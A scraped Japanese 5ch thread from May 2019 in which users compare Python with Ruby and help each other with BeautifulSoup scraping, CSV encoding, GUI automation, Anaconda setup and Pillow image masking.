言語としての機能はよく似てるけど立ち位置は随分と違う
今のところRubyはWeb系に強くPythonは分析や機械学習に強い
将来性についてはPythonかな、Web系は競合する言語が多い
言語として癖がないのはPythonで、Rubyは自由度が大きく拡張性も高い分、考えることが一つ多い
2019/05/03(金) 18:35:19.04ID:iE5UbyHC
>>85,86
サンクス。俺はCとJavaをかじった程度だけどCは古いしJavaはコンパイラが商用有料化するみたいなので簡単そうなRubyやPythonに興味が出てきたってわけ。
言語がいっぱいありすぎてどれにすればいいのか迷う
サンクス。俺はCとJavaをかじった程度だけどCは古いしJavaはコンパイラが商用有料化するみたいなので簡単そうなRubyやPythonに興味が出てきたってわけ。
言語がいっぱいありすぎてどれにすればいいのか迷う
2019/05/03(金) 18:40:23.88ID:ymx7jYTc
>>85
わろた
わろた
2019/05/03(金) 18:48:44.44ID:L8bdg7Rt
流石にもうRubyやperlは忘れて良いだろ。 日本だけ少し永らえてたが既に世界からは忘れ去られようとしてる。
Python3 になってからはRubyの出番はない。
「The 2018 Top Programming Languages - IEEE Spectrum Ranking」
https://news.mynavi.jp/article/20180806-674740/
1. python
13. ruby
Python3 になってからはRubyの出番はない。
「The 2018 Top Programming Languages - IEEE Spectrum Ranking」
https://news.mynavi.jp/article/20180806-674740/
1. python
13. ruby
2019/05/03(金) 18:59:28.47ID:Mu7G7jjV
perl忘れたら、make出来なくなるよ
2019/05/03(金) 19:11:56.24ID:L8bdg7Rt
今生きてるのまで死ねとは言っていない。
新たに勉強する言語としては忘れて良いんじゃないのという意味。
新たに勉強する言語としては忘れて良いんじゃないのという意味。
2019/05/04(土) 00:31:01.80ID:eVWbARiE
一時期Ruby好きでメインで使ってたけど、もう二度と書くことはないだろうなって思う
2019/05/04(土) 02:54:05.63ID:rM1STB6K
朝鮮人なんてリアル社会人なら口に出せない筈の差別用語
社会常識をわきまえないネトウヨ的脳内PGがいるようだ
社会常識をわきまえないネトウヨ的脳内PGがいるようだ
2019/05/04(土) 02:54:52.85ID:KBbEKpYD
PythonでWindowsのGUIが自動化出来るなんて話をよく聞くんだが
作者が行方不明のUWSCみたいに使えるんかこれ
代替に使えるんなら覚えてみるかな
作者が行方不明のUWSCみたいに使えるんかこれ
代替に使えるんなら覚えてみるかな
2019/05/04(土) 05:37:33.76ID:u+QazaKa
>>94 PyAutoGui かな。
PyAutoGuiで繰り返し作業をPythonにやらせよう
https://qiita.com/hirohiro77/items/78e26a59c2e45a0fe4e3
できること
マウスの操作(移動/ボタン/スクロール)
キーボードの操作(テキスト入力/キー操作)
アラートウインドウの制御(通常のアプリケーションウインドウは操作無理)
イメージマッチング(bmp/jpg/pngで設定可能) ※opencv_python , pillow , Imageモジュールがあるとあいまい検索が可能
ピクセルカラー取得(特定座標または範囲の色を取得)
スクリーンショットの取得(全域/範囲)
画像認識型の自動化なので、seleniumライブラリなど別ライブラリと組み合わせを推奨。
単独だと、画像操作で何とかなるものに限る
Python + Selenium で Chrome の自動操作を一通り
https://qiita.com/memakura/items/20a02161fa7e18d8a693
ウェブの自動テストやスクレイピングで使われる技術です。
PyAutoGuiで繰り返し作業をPythonにやらせよう
https://qiita.com/hirohiro77/items/78e26a59c2e45a0fe4e3
できること
マウスの操作(移動/ボタン/スクロール)
キーボードの操作(テキスト入力/キー操作)
アラートウインドウの制御(通常のアプリケーションウインドウは操作無理)
イメージマッチング(bmp/jpg/pngで設定可能) ※opencv_python , pillow , Imageモジュールがあるとあいまい検索が可能
ピクセルカラー取得(特定座標または範囲の色を取得)
スクリーンショットの取得(全域/範囲)
画像認識型の自動化なので、seleniumライブラリなど別ライブラリと組み合わせを推奨。
単独だと、画像操作で何とかなるものに限る
Python + Selenium で Chrome の自動操作を一通り
https://qiita.com/memakura/items/20a02161fa7e18d8a693
ウェブの自動テストやスクレイピングで使われる技術です。
2019/05/04(土) 05:42:29.55ID:u+QazaKa
メールの自動化とかExcel の自動化とか色んなことができる。
2019/05/04(土) 07:29:54.64ID:u+QazaKa
>>80 もう一つ、Flask もチラ見しておくと良い。
簡単にブラウザベースでアプリが作れる。
自分が作ったアプリのパッケージ内にPythonが同梱されるのでユーザーにPython をインストールさせたりする手間はない。 pyinstallerも要らない。
実行させるとブラウザが立ち上がり、ブラウザの一つのタブとして実行される。
将来的にはサーバー上で実行させることもできる。
DB管理ツールの PgAdminはこれで作られている。
簡単にブラウザベースでアプリが作れる。
自分が作ったアプリのパッケージ内にPythonが同梱されるのでユーザーにPython をインストールさせたりする手間はない。 pyinstallerも要らない。
実行させるとブラウザが立ち上がり、ブラウザの一つのタブとして実行される。
将来的にはサーバー上で実行させることもできる。
DB管理ツールの PgAdminはこれで作られている。
2019/05/04(土) 09:08:07.47ID:LJwIVFh6
ツイッターAPI使ったら
一瞬で規制された
一瞬で規制された
2019/05/04(土) 13:57:18.11ID:eVWbARiE
100デフォルトの名無しさん
2019/05/04(土) 14:32:39.46ID:vUC0We58101デフォルトの名無しさん
2019/05/04(土) 14:42:55.81ID:tOD9kuur python関連のツールって
バグだらけで使うのに苦労する
まじ殺意覚える
なんとか作ってもバージョンUPで
全てパー
pythonなんてイラネ
けど他に選択肢がない!
バグだらけで使うのに苦労する
まじ殺意覚える
なんとか作ってもバージョンUPで
全てパー
pythonなんてイラネ
けど他に選択肢がない!
102デフォルトの名無しさん
2019/05/04(土) 14:52:56.44ID:eVWbARiE >>100
何に使ってるか分からんけど、自分はちゃんと使えてるよ
他人のアカウントで動くようなbotを提供するなら、10アカウントを超える場合は
有料の契約しないといけなかったかも
月3万円〜くらいらしい
何に使ってるか分からんけど、自分はちゃんと使えてるよ
他人のアカウントで動くようなbotを提供するなら、10アカウントを超える場合は
有料の契約しないといけなかったかも
月3万円〜くらいらしい
103デフォルトの名無しさん
2019/05/04(土) 14:53:23.92ID:k+B84EwL 3分間隔位でツイートしてるけどちゃんと繋がってるよ
104デフォルトの名無しさん
2019/05/04(土) 15:00:08.38ID:eVIwB2YR python の問題じゃないじゃんw
105デフォルトの名無しさん
2019/05/04(土) 15:22:01.33ID:Zf+/9VtM >>101
具体的にどのツール?
具体的にどのツール?
106デフォルトの名無しさん
2019/05/04(土) 16:01:26.35ID:YEgXwYHa107デフォルトの名無しさん
2019/05/04(土) 21:12:27.28ID:ivT98XDJ 自分はアカウント作って手動でテストってツイートしたら即アク禁されたわ
NGワードだったのかねぇ
NGワードだったのかねぇ
108デフォルトの名無しさん
2019/05/05(日) 00:09:37.04ID:x93NAlVl109デフォルトの名無しさん
2019/05/05(日) 00:35:50.38ID:NdndInZE110デフォルトの名無しさん
2019/05/05(日) 00:57:18.91ID:x93NAlVl111デフォルトの名無しさん
2019/05/05(日) 01:11:53.54ID:NdndInZE >>110
生年月日はフェイクだけど1980年にしてたから年齢制限ではないね
アカウントは作ったばっかりでフォロー等全くしてない
要は、出来立てのアカウントで内容の薄いツイートをしたことで何らかのフィルタにかかったんだと思ってる
生年月日はフェイクだけど1980年にしてたから年齢制限ではないね
アカウントは作ったばっかりでフォロー等全くしてない
要は、出来立てのアカウントで内容の薄いツイートをしたことで何らかのフィルタにかかったんだと思ってる
112デフォルトの名無しさん
2019/05/05(日) 02:47:13.57ID:tUOFrefg >>111 そんなことは考えづらいな。
113デフォルトの名無しさん
2019/05/05(日) 02:48:47.28ID:tUOFrefg ブラックリストに載ってるVPN でも使ったんじゃないの?
114デフォルトの名無しさん
2019/05/05(日) 02:52:32.65ID:eMsI3+wX ここTwitter APIのフォーラムじゃないんで、調査についてはよそでやってくれると助かるよ
115デフォルトの名無しさん
2019/05/05(日) 02:58:02.52ID:NdndInZE そうそう
116デフォルトの名無しさん
2019/05/05(日) 03:00:28.39ID:L5goONob そうそう
117デフォルトの名無しさん
2019/05/05(日) 11:50:05.62ID:jDJFaPfq WindowsでJupyter notebookというのを
使っています。
デバッグのときに、
ステップ実行とか関数内にはいってステップ実行
をするにはどうしたらいいでしょうか?
使っています。
デバッグのときに、
ステップ実行とか関数内にはいってステップ実行
をするにはどうしたらいいでしょうか?
118デフォルトの名無しさん
2019/05/05(日) 12:04:49.61ID:LZXMZ4hr >>117
シフトエンター
シフトエンター
119デフォルトの名無しさん
2019/05/05(日) 12:05:09.17ID:TKrOuc6u120デフォルトの名無しさん
2019/05/05(日) 12:16:33.87ID:LZXMZ4hr >>117
ごめんでデバッグは違う
ごめんでデバッグは違う
122デフォルトの名無しさん
2019/05/05(日) 15:25:31.18ID:Lg7yPSQn windowsにanaconda入れてpython使用中です
import msvcrtでputwchを使ってるんですけど、全角半角混在文字列を表示したとき、現在のカーソル位置をgetする関数ありませんか?
今は表示した文字のコードからカーソル位置を計算してますが、ちょっと面倒なので。
import msvcrtでputwchを使ってるんですけど、全角半角混在文字列を表示したとき、現在のカーソル位置をgetする関数ありませんか?
今は表示した文字のコードからカーソル位置を計算してますが、ちょっと面倒なので。
123デフォルトの名無しさん
2019/05/05(日) 16:15:39.31ID:vTdWYBgo AllocConsole か ncurses
124デフォルトの名無しさん
2019/05/05(日) 18:39:16.67ID:pLuxMQOp 初めまして。win10でアナコンダ(最新)入れてスクレイピングを勉強し始めました。
本を読みながら作業をしているのですが、詰まるところがありお聞きしたいです。
コードは
(UHF=8にしてます)
import requests
import bs4
import csv
rs = requests.get('URL(仮)')
rs.raise_for_status()
sp = bs4.BeautifulSoup(rs.text.encode(rs.encoding), 'html.parser')
rcd = []
for elm in sp.select_one('#id(仮)'):
rcd.append(elm.string)
f = open('date.csv','a', newline='')
wrtr = csv.writer(f,delimiter=',')
wrtr.writerow(rcd)
f.close()
になります。
質問ですが
@ for elm in sp.select_one('#id'): の部分にfor elm in sp.select_one('#id').string: とするとエラー(AttributeError)になる。
しらべてみると二個以上ある場合?に .string は使えないとのことですが
どのようにしたらよいのか?
Acsvに落とし込むと文字化けする。上でuhf-8に指定しておりコーディングもしている。このようなときはどうすればよいのか?
教えてください。
本を読みながら作業をしているのですが、詰まるところがありお聞きしたいです。
コードは
(UHF=8にしてます)
import requests
import bs4
import csv
rs = requests.get('URL(仮)')
rs.raise_for_status()
sp = bs4.BeautifulSoup(rs.text.encode(rs.encoding), 'html.parser')
rcd = []
for elm in sp.select_one('#id(仮)'):
rcd.append(elm.string)
f = open('date.csv','a', newline='')
wrtr = csv.writer(f,delimiter=',')
wrtr.writerow(rcd)
f.close()
になります。
質問ですが
@ for elm in sp.select_one('#id'): の部分にfor elm in sp.select_one('#id').string: とするとエラー(AttributeError)になる。
しらべてみると二個以上ある場合?に .string は使えないとのことですが
どのようにしたらよいのか?
Acsvに落とし込むと文字化けする。上でuhf-8に指定しておりコーディングもしている。このようなときはどうすればよいのか?
教えてください。
125デフォルトの名無しさん
2019/05/05(日) 18:50:49.81ID:Lg7yPSQn 自己解決
unicodedataをimportして
east_asian_width() を使う方が簡単ですね
失礼しました
unicodedataをimportして
east_asian_width() を使う方が簡単ですね
失礼しました
126デフォルトの名無しさん
2019/05/05(日) 19:24:14.33ID:L5goONob macのterminalでpython3をデフォルトにするにはどうしたらいいですか?
python3のファイルを$pythonで開きたい
python3のファイルを$pythonで開きたい
127デフォルトの名無しさん
2019/05/05(日) 19:25:47.99ID:L5goONob python3はインストールされてます
128デフォルトの名無しさん
2019/05/05(日) 19:35:04.86ID:L5goONob 自己解決失礼しました
129デフォルトの名無しさん
2019/05/06(月) 05:18:25.39ID:wr9bFPpT >>124
Ruby でスクレイピングしてるから、Python はあまり知らないけど、
>for elm in sp.select_one('#id').string:
sp.select_one('#id') に直接、.string は付かないのじゃないの?
複数の要素をループして、各要素にしてから、つなげれば?
for elm in sp.select_one('#id(仮)'):
elm.string
>f = open('date.csv','a', newline='')
ここでオプションで、UTF-8 か、sjis を指定できないの?
Ruby でスクレイピングしてるから、Python はあまり知らないけど、
>for elm in sp.select_one('#id').string:
sp.select_one('#id') に直接、.string は付かないのじゃないの?
複数の要素をループして、各要素にしてから、つなげれば?
for elm in sp.select_one('#id(仮)'):
elm.string
>f = open('date.csv','a', newline='')
ここでオプションで、UTF-8 か、sjis を指定できないの?
130デフォルトの名無しさん
2019/05/06(月) 07:42:10.95ID:h2+b5pdE select_oneをselectに
openの引数にencoding='utf-8'をつける
openの引数にencoding='utf-8'をつける
131デフォルトの名無しさん
2019/05/06(月) 08:48:46.09ID:llnuASGm132デフォルトの名無しさん
2019/05/06(月) 09:28:43.88ID:h2+b5pdE >>131
for文で繰り返したい場合、文字列ではなくて文字列を含むオブジェクトの集合だから、この書き方になる
つまり
[obj1,obj2,obj3]は繰り返せるし
文字列を取り出すのにobj1.string, obj2.string, obj3.stringもそれぞれ正しい
でも
[obj1,obj2,obj3].stringはなんのこっちゃ?となる
2つ目の質問に対しては、selectを使うならまずCSSセレクタを理解しないと上手く取り出せないよ
やりたいことはselectではなくてfind, find_allが適切かも知れない
for文で繰り返したい場合、文字列ではなくて文字列を含むオブジェクトの集合だから、この書き方になる
つまり
[obj1,obj2,obj3]は繰り返せるし
文字列を取り出すのにobj1.string, obj2.string, obj3.stringもそれぞれ正しい
でも
[obj1,obj2,obj3].stringはなんのこっちゃ?となる
2つ目の質問に対しては、selectを使うならまずCSSセレクタを理解しないと上手く取り出せないよ
やりたいことはselectではなくてfind, find_allが適切かも知れない
133デフォルトの名無しさん
2019/05/06(月) 09:33:36.17ID:h2+b5pdE ちなみに上の説明は分かりやすくするためにlist使って説明したけど、実際にはイテレータでlistではないから注意
134デフォルトの名無しさん
2019/05/06(月) 11:01:31.13ID:kGkQS8+O >>132
findのあとに.stringってつけれました?
[obj1,obj2,obj3].stringと同じになりませんか?私も個別に処理してたのでfindとstringの方法を知りたいです。
書き方の例を教えてほしいです
findのあとに.stringってつけれました?
[obj1,obj2,obj3].stringと同じになりませんか?私も個別に処理してたのでfindとstringの方法を知りたいです。
書き方の例を教えてほしいです
135129
2019/05/06(月) 11:07:41.34ID:wr9bFPpT id で検索すると、該当する要素は、0〜1。
class で検索すると、該当する要素は、0以上
jQuery では、どちらも配列を返すように統一されている。
0 の場合でも、空配列を返す
でも、Ruby など他の言語では、
0〜1 なら、find_one、
0以上なら、find_all とか、
異なる関数名を使うものがあるので、やっかい
class で検索すると、該当する要素は、0以上
jQuery では、どちらも配列を返すように統一されている。
0 の場合でも、空配列を返す
でも、Ruby など他の言語では、
0〜1 なら、find_one、
0以上なら、find_all とか、
異なる関数名を使うものがあるので、やっかい
136129
2019/05/06(月) 11:19:36.99ID:wr9bFPpT >>134
基本的には「インスタンス.メソッド」の形だろ。
だから、そのインスタンスに、そのメソッドが存在しなければ、エラーになる
obj1.string がOK なら、obj1 には、string メソッドがある
一方、[obj1,obj2,obj3].string がエラーなら、[ ] には、string メソッドがない。
[ ] は、iterator か?
[ ].string とは、[ ] の中に入っている各要素に、.string が付いているのではない!
[ ] そのものに、.string を付けているから、エラーになる
基本的には「インスタンス.メソッド」の形だろ。
だから、そのインスタンスに、そのメソッドが存在しなければ、エラーになる
obj1.string がOK なら、obj1 には、string メソッドがある
一方、[obj1,obj2,obj3].string がエラーなら、[ ] には、string メソッドがない。
[ ] は、iterator か?
[ ].string とは、[ ] の中に入っている各要素に、.string が付いているのではない!
[ ] そのものに、.string を付けているから、エラーになる
137デフォルトの名無しさん
2019/05/06(月) 13:00:20.83ID:llnuASGm >>136
何度もありがとうございます。
いろいろと調べてみたのですがiteratorとして使うものではないと思います
その上で
for elm in sp.select('.class名'):
に.stringを付けるとすれば
for elm in sp.select[('.class名').string]:
にしたらいいんですか?
この記載で各要素に.stringってつけれるのでしょうか?
何度もありがとうございます。
いろいろと調べてみたのですがiteratorとして使うものではないと思います
その上で
for elm in sp.select('.class名'):
に.stringを付けるとすれば
for elm in sp.select[('.class名').string]:
にしたらいいんですか?
この記載で各要素に.stringってつけれるのでしょうか?
138デフォルトの名無しさん
2019/05/06(月) 13:15:04.22ID:4WCBwXBu >>137
各要素の.stringを参照するならループ内でいちいち参照する
for elm in sp.select():
____elm_string = elm.string
か、内包表記で 各要素.string が並んだリスト(的なもの)をforで回す
for elm in (e.string for e in sp.select()):
各要素の.stringを参照するならループ内でいちいち参照する
for elm in sp.select():
____elm_string = elm.string
か、内包表記で 各要素.string が並んだリスト(的なもの)をforで回す
for elm in (e.string for e in sp.select()):
139デフォルトの名無しさん
2019/05/06(月) 13:29:44.01ID:a8gxR/Is pythonista3専用のスレってある?
140デフォルトの名無しさん
2019/05/06(月) 14:17:32.29ID:vCRdl9br select_one()、find()、find_all()がそれぞれ何を返すかリファレンスで確認しなよ
返したオブジェクトにstring属性が有れば直接.string付けて使える。
(見つからなかった場合の処理は必要だけど)
集合を返すならfor等で回すのはPython関係なく当然じゃないの?
返したオブジェクトにstring属性が有れば直接.string付けて使える。
(見つからなかった場合の処理は必要だけど)
集合を返すならfor等で回すのはPython関係なく当然じゃないの?
141デフォルトの名無しさん
2019/05/06(月) 16:59:03.48ID:QkNnPrv/142デフォルトの名無しさん
2019/05/06(月) 17:43:42.76ID:kr7+hcA9 Linterによるチェックや
単体テスト等を自動的に設定してくれるCLIツールか何か無いですか?
手動で入れるのめんどくさいです。
単体テスト等を自動的に設定してくれるCLIツールか何か無いですか?
手動で入れるのめんどくさいです。
143デフォルトの名無しさん
2019/05/06(月) 22:06:12.16ID:a8gxR/Is >>141
ありがとう
ありがとう
144デフォルトの名無しさん
2019/05/07(火) 01:18:37.83ID:OdT0SJzW >>137 構文補完をしてくれるツールを使えば、string が使えるか使えないかなんて教えてくれるだろ。
145デフォルトの名無しさん
2019/05/07(火) 21:32:05.66ID:GlTxCTc/ Python2の旧スタイルクラスで、"クラス名".__dict__["クラス変数名文字列"]=XXで代入していたのを
新スタイルクラスに置き換えたら、__dict__がproxyDictで読み取り専用になった影響で例外になってしまった・・
クラス変数(インスタンス変数じゃないよ!)にインデクサで代入するのって、どうやるのがセオリー?
新スタイルクラスに置き換えたら、__dict__がproxyDictで読み取り専用になった影響で例外になってしまった・・
クラス変数(インスタンス変数じゃないよ!)にインデクサで代入するのって、どうやるのがセオリー?
146デフォルトの名無しさん
2019/05/08(水) 13:16:42.77ID:tjSWQfYU setattr
147デフォルトの名無しさん
2019/05/08(水) 16:20:18.54ID:qIqlQi6s 日経225平均のリアルタイム値が簡単なスクレイピングで読めるサイトありませんか?
googleもyahooも20分遅れで、リアルタイムのサイトはいくつかあったけどページ内に値は書き込まれていないみたいです。
https://nikkei225jp.com/cme/
とか。
googleもyahooも20分遅れで、リアルタイムのサイトはいくつかあったけどページ内に値は書き込まれていないみたいです。
https://nikkei225jp.com/cme/
とか。
148デフォルトの名無しさん
2019/05/08(水) 18:00:43.80ID:ex2lag03 >>147 株をやるんだろ。 証券会社の値はほぼリアルタイムだよ。
どこかの株を10万円でも買えば?
どこかの株を10万円でも買えば?
149デフォルトの名無しさん
2019/05/08(水) 18:06:42.31ID:ex2lag03 >>147 ごめん、そのサイト見たけど、値がコピペ出来るんだからどうとでもなりそうだけどな。
コピペできないサイトは面倒だろうけど。
コピペできないサイトは面倒だろうけど。
150デフォルトの名無しさん
2019/05/08(水) 18:41:57.94ID:Ih5N/ssV yahooもリアルタイムでしょ
151デフォルトの名無しさん
2019/05/08(水) 18:51:36.82ID:fmEHJviF >>147
まさかjsでリアルタイム更新なのにbeautiful soupでやろうとかしてないよな…?
https://qiita.com/Azunyan1111/items/b161b998790b1db2ff7a#google-chromeの生成するcssセレクターで出来ない場合動的に変化する場合
まさかjsでリアルタイム更新なのにbeautiful soupでやろうとかしてないよな…?
https://qiita.com/Azunyan1111/items/b161b998790b1db2ff7a#google-chromeの生成するcssセレクターで出来ない場合動的に変化する場合
152デフォルトの名無しさん
2019/05/08(水) 19:56:08.81ID:h6vLlN0g 100年はえー
153デフォルトの名無しさん
2019/05/09(木) 00:18:25.32ID:zHXNWfjV >>151
のサイトに、内容が良くまとまっている!
そのサイトが、API, RSS Feed を公開しているなら、それを使う
スクレイピングは、Ruby, Nokogiri で出来る
5ch のように、空のHTML を送ってきた後、
サーバーから、JavaScript(JS) で動的に内容を取得している場合は、
Selenium WebDriver を使って、JS を動かしてから、内容を取得する。
つまり、人間が操作するのと同じように、ブラウザを自動操作する
JSが動く前では、取得したい要素が、まだ存在していないから
ただし、頻繁にスクレイピングするのは、
営業妨害とかアクセス禁止にされて、逮捕されるかも!
のサイトに、内容が良くまとまっている!
そのサイトが、API, RSS Feed を公開しているなら、それを使う
スクレイピングは、Ruby, Nokogiri で出来る
5ch のように、空のHTML を送ってきた後、
サーバーから、JavaScript(JS) で動的に内容を取得している場合は、
Selenium WebDriver を使って、JS を動かしてから、内容を取得する。
つまり、人間が操作するのと同じように、ブラウザを自動操作する
JSが動く前では、取得したい要素が、まだ存在していないから
ただし、頻繁にスクレイピングするのは、
営業妨害とかアクセス禁止にされて、逮捕されるかも!
154デフォルトの名無しさん
2019/05/09(木) 08:55:08.80ID:NqkDudFv Rがトップ20位圏外へ、Pythonの採用が進む - 5月開発言語ランキング
2019/05/09 06:05 後藤大地
https://news.mynavi.jp/article/20190509-820376/
TIOBE Softwareから2019年5月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語が
どれだけ話題になっているかをインデックス化したもの。2019年5月におけるインデックスは
次のとおり。
5月TIOBE Programming Community Index / 円グラフ
https://news.mynavi.jp/article/20190509-820376/images/001.jpg
データマイニングや人工知能のニーズが高まっていることから、統計に関わるプログラ
ミング言語は人気が高い状況が続いている。TIOBE Softwareはこの状況においてRが20位
圏外に落ちることは驚きに値すると指摘している。この理由として、該当分野でPythonの
採用が進んだことで、Rの必要性が下がっていったことを挙げている。
Pythonは長期にわたって増加傾向を続けている。TIOBE Softwareが指摘しているように
データ処理の分野においてもPythonが使われるシーンが増えている。今後も同様の傾向が
続くと見られており、今後もPythonが利用されるシーンは増え続けることが予想される。
2019/05/09 06:05 後藤大地
https://news.mynavi.jp/article/20190509-820376/
TIOBE Softwareから2019年5月のTIOBE Programming Community Index (PCI)が公開された。
TIOBE PCIは、複数の検索エンジンの検索結果から、対象となるプログラミング言語が
どれだけ話題になっているかをインデックス化したもの。2019年5月におけるインデックスは
次のとおり。
5月TIOBE Programming Community Index / 円グラフ
https://news.mynavi.jp/article/20190509-820376/images/001.jpg
データマイニングや人工知能のニーズが高まっていることから、統計に関わるプログラ
ミング言語は人気が高い状況が続いている。TIOBE Softwareはこの状況においてRが20位
圏外に落ちることは驚きに値すると指摘している。この理由として、該当分野でPythonの
採用が進んだことで、Rの必要性が下がっていったことを挙げている。
Pythonは長期にわたって増加傾向を続けている。TIOBE Softwareが指摘しているように
データ処理の分野においてもPythonが使われるシーンが増えている。今後も同様の傾向が
続くと見られており、今後もPythonが利用されるシーンは増え続けることが予想される。
155デフォルトの名無しさん
2019/05/09(木) 11:29:32.10ID:uxObhpR3156デフォルトの名無しさん
2019/05/09(木) 16:39:06.26ID:ZpL7167K https://ideone.com/F983Gv
memmapを作って中身のデータを置換、末尾のデータを削除するサンプルを作って動かしてみたのですが
末尾のデータを削除したあとのサイズが、削除する前のものと同じになっています。
これは、こういうものなのでしょうか。それともどこか間違っているのでしょうか
memmapを作って中身のデータを置換、末尾のデータを削除するサンプルを作って動かしてみたのですが
末尾のデータを削除したあとのサイズが、削除する前のものと同じになっています。
これは、こういうものなのでしょうか。それともどこか間違っているのでしょうか
157デフォルトの名無しさん
2019/05/09(木) 21:53:08.20ID:4pb4y6e7 >>155
VSCodeに言及してないのはなぜ?
VSCodeに言及してないのはなぜ?
158デフォルトの名無しさん
2019/05/10(金) 10:32:38.92ID:TvwQV5La >>157 PyCharm の方が良いからだろ。
話は変わるが、レンタルサーバはJavaが動かないのが多いな。 それで perl php ruby などのスクリプト言語が使われてきたけど、これからは日本でもPythonの比率が高まっていくだろう。
話は変わるが、レンタルサーバはJavaが動かないのが多いな。 それで perl php ruby などのスクリプト言語が使われてきたけど、これからは日本でもPythonの比率が高まっていくだろう。
159デフォルトの名無しさん
2019/05/10(金) 10:53:59.89ID:uAfP9ooZ pycharm か atom の二択だな。普通は前者を選ぶのだろう
160デフォルトの名無しさん
2019/05/10(金) 13:49:24.74ID:4v4gRarW Anaconda入れたら勝手に.bashrcでPATH追加しやがったw
いろいろサイト見ると確認メッセージでyesno出るみたいだったんだが・・・・・
いろいろサイト見ると確認メッセージでyesno出るみたいだったんだが・・・・・
161デフォルトの名無しさん
2019/05/10(金) 13:52:44.24ID:2ymPmQZD Anacondaで入れたけどPATH勝手に追加とかなかったぞ
ちゃんとyes/no選択出来た
ちゃんとyes/no選択出来た
162デフォルトの名無しさん
2019/05/10(金) 13:54:03.40ID:sZdncDhC マクラ
163デフォルトの名無しさん
2019/05/10(金) 14:20:21.48ID:4v4gRarW >>161
事前調査では、聞かれるはずってわかってたので出てきたらnoにしようと思って
それまでの他の質問yesyesで進めてたんだけどなぜか出てこなかった。
もう直したからいいけどなんだったんだろうな・・・・・
ちなみに2019.03のPython 3.7 バージョン Linux Installer
いらんかもしらんけど一応報告まで。
事前調査では、聞かれるはずってわかってたので出てきたらnoにしようと思って
それまでの他の質問yesyesで進めてたんだけどなぜか出てこなかった。
もう直したからいいけどなんだったんだろうな・・・・・
ちなみに2019.03のPython 3.7 バージョン Linux Installer
いらんかもしらんけど一応報告まで。
164デフォルトの名無しさん
2019/05/10(金) 15:05:57.63ID:uAfP9ooZ せっかくlinuxで作業するんだから、pipを使った方がいいと思うんだ
condaはpythonのコミュと仲が悪いからいずれ頭打ち
現状でもライブラリ等の互換性で既に問題がでている
condaはpythonのコミュと仲が悪いからいずれ頭打ち
現状でもライブラリ等の互換性で既に問題がでている
165デフォルトの名無しさん
2019/05/10(金) 18:19:15.26ID:3Rd9AZ7J >>156
ですが、初心者スレの方が良かったでしょうか
ですが、初心者スレの方が良かったでしょうか
166デフォルトの名無しさん
2019/05/10(金) 18:47:59.73ID:5cJ7H2I+167デフォルトの名無しさん
2019/05/10(金) 19:08:57.10ID:mZTf+9Hy >>160
EULAに書いてあったろ?
EULAに書いてあったろ?
168デフォルトの名無しさん
2019/05/11(土) 11:30:46.17ID:wm1cT3jh 初歩的なこと聞いてすみません。
key = ['a','b','c','d']
print key[1:3]
['b','c','d']
...を
b c d
...と表示させるにはどう記述すれば良い?
key = ['a','b','c','d']
print key[1:3]
['b','c','d']
...を
b c d
...と表示させるにはどう記述すれば良い?
169デフォルトの名無しさん
2019/05/11(土) 11:34:43.71ID:c6jb8Zuj ' '.join(key[1:3])
170デフォルトの名無しさん
2019/05/11(土) 11:57:02.81ID:wm1cT3jh ありがとう!なったw
171デフォルトの名無しさん
2019/05/11(土) 12:03:56.90ID:yaIUpng2 print(*key[1:])
172デフォルトの名無しさん
2019/05/11(土) 12:34:28.56ID:33ultIg2 Pillowで特定のRGB値からマスク画像を作りたいんだけど
numpyを使わずにやろうとすると2重のforを回してピクセル単位でRGB値を判定するか、
チャンネルごとに分けてRGBを個別に判定して2値化したあと、andするしかないんかな
一発で行く方法があればいいんだけど
numpyを使わずにやろうとすると2重のforを回してピクセル単位でRGB値を判定するか、
チャンネルごとに分けてRGBを個別に判定して2値化したあと、andするしかないんかな
一発で行く方法があればいいんだけど
173デフォルトの名無しさん
2019/05/11(土) 12:45:21.69ID:td9YBJ3L 24bit/32bit単位でアクセスして色でマスクしてからマスク画像造ればええで
174デフォルトの名無しさん
2019/05/11(土) 13:09:19.91ID:33ultIg2 ありがとう。でも、24/32bit単位でアクセスしようとするとgetpixel使うことになって、結局ループ回すことにならない?
175デフォルトの名無しさん
2019/05/11(土) 13:17:18.04ID:td9YBJ3L なんでgetpixelなんて使うの?
176デフォルトの名無しさん
2019/05/11(土) 13:24:38.28ID:33ultIg2 えっ
177デフォルトの名無しさん
2019/05/11(土) 13:26:18.33ID:9IJE1a+u いつまで経っても筋が悪いなおまいは
178デフォルトの名無しさん
2019/05/11(土) 17:51:16.28ID:NqZcn6B8 javascriptのスレは過疎だけどなんで?
179デフォルトの名無しさん
2019/05/11(土) 19:31:38.62ID:QY0bHjT5180デフォルトの名無しさん
2019/05/11(土) 19:35:37.86ID:osgKhHzY JavaScriptはプログラム板ではなくWeb制作板の管轄だから
181デフォルトの名無しさん
2019/05/11(土) 19:38:29.14ID:Js5+404h 100行くらいの
atcoder のベルマンフォードの問題のエラーが出る原因について聞いてもいいですか?
小サイズのサンプル入力では正解が出ています
atcoder のベルマンフォードの問題のエラーが出る原因について聞いてもいいですか?
小サイズのサンプル入力では正解が出ています
182デフォルトの名無しさん
2019/05/11(土) 19:40:59.56ID:pjT+8S0l Pythonは記述にクセがあるのであまり学習したくないんだよね
183デフォルトの名無しさん
2019/05/11(土) 19:42:34.17ID:NqZcn6B8184デフォルトの名無しさん
2019/05/11(土) 19:53:56.27ID:QY0bHjT5 >>182 そうかな? かなり素直でわかりやすいと思うけどな。 現に世界の初級プログラミング教育の標準となってるし。
文法的にはC の流れを汲んでるし殆どの人には取り組みやすい。
スクリプト言語と、コンパイラ言語との間の癖は慣れでしか無い。
文法的にはC の流れを汲んでるし殆どの人には取り組みやすい。
スクリプト言語と、コンパイラ言語との間の癖は慣れでしか無い。
185デフォルトの名無しさん
2019/05/11(土) 19:54:48.87ID:2v2BzL6t186デフォルトの名無しさん
2019/05/11(土) 20:12:20.59ID:osgKhHzY >>185
板のローカルルールに書いてるじゃん
板のローカルルールに書いてるじゃん
187デフォルトの名無しさん
2019/05/11(土) 20:19:43.18ID:2v2BzL6t >>186
Reactスレが削除されないのはなぜ?
Reactスレが削除されないのはなぜ?
188デフォルトの名無しさん
2019/05/11(土) 20:31:54.85ID:osgKhHzY >>187
知るかスレチだボケ
知るかスレチだボケ
189デフォルトの名無しさん
2019/05/11(土) 21:06:51.89ID:2UKGIbym 癖って内包表記みたいのかな(python分かる人にとっては簡潔明瞭)
